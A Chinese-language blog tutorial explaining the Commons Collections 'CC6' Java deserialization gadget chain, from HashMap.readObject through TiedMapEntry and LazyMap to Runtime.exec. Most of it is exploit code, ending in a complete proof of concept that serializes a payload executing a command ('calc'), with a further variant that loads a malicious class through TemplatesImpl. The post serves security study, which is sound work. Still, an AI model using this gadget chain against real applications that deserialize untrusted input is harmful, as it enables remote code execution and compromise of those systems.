JAVA反序列化CC6链

0x01环境配置

0x02 触发链过程

1
2
3
4
5
6
7
8
9
10
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0X03 过程分析

CC6链我们主要分析从readObject到LazyMap的get函数,这之后触发的链子可变化的样式较多。

第一步:LazyMap->transform

1
2
3
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

在LazyMap类中的get()方法调用了transform

并且可以通过decorate方法给factory赋值

第二步:TiedMapEntry->get()

1
2
3
4
5
6
7
8
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

在TiedMapEntry中的getValue方法调用了get并且hashCode方法又调用了getValue,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry entry = new TiedMapEntry(lazymap, "1");
entry.hashCode();
}

第三步:hashMap

之前在URLDNS反序列化链当中提到了hashMap的readObject可以会触发hashCode方法,

1
putVal(hash(key), key, value, false, false);
1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们只需要给hashMap传入TiedMapEntry这个key就能让他触发链子

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry entry = new TiedMapEntry(lazymap, "1");
HashMap hashmap = new HashMap();
hashmap.put(entry, "1");
}

这里触发链子是因为put函数

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

他会执行hash方法然后hashcode所以这一步是需要调整的,不然在序列化之前他就已经执行了链子

第三步:调整利用链

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry entry = new TiedMapEntry(lazymap, "1");
HashMap hashmap = new HashMap();
hashmap.put(entry, "1");
Class<LazyMap> clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap, ct);
serialize(hashmap);
unserialize("ser.bin");
}

但是运行发现这样无法弹出计算器,原因出在LazyMap的get方法处,由于put函数会先触发一次hashCode到get

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这导致此时map.containKey(key)不为空,所以不会执行transform

因此我们要在给hashMap赋值后手动删除LazyMap的这个Key

此时在运行就能触发整条链子弹出内容

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry entry = new TiedMapEntry(lazymap, "1");
HashMap hashmap = new HashMap();
hashmap.put(entry, "1");
lazymap.remove("1");
Class<LazyMap> clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap, ct);
serialize(hashmap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

额外内容

上一次提到TemplateImpl链子需要触发newTransformer方法,正好InvokerTransformer能够触发任意方法

我们可以将Transform列表中的内容修改为之前提到的TemplatesImpl链子从而让他加载字节码触发恶意类

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

JAVA反序列化CC6链
https://lvyzcc.github.io/2025/04/02/JAVA反序列化CC6链/
作者
LvYz
发布于
2025年4月2日
许可协议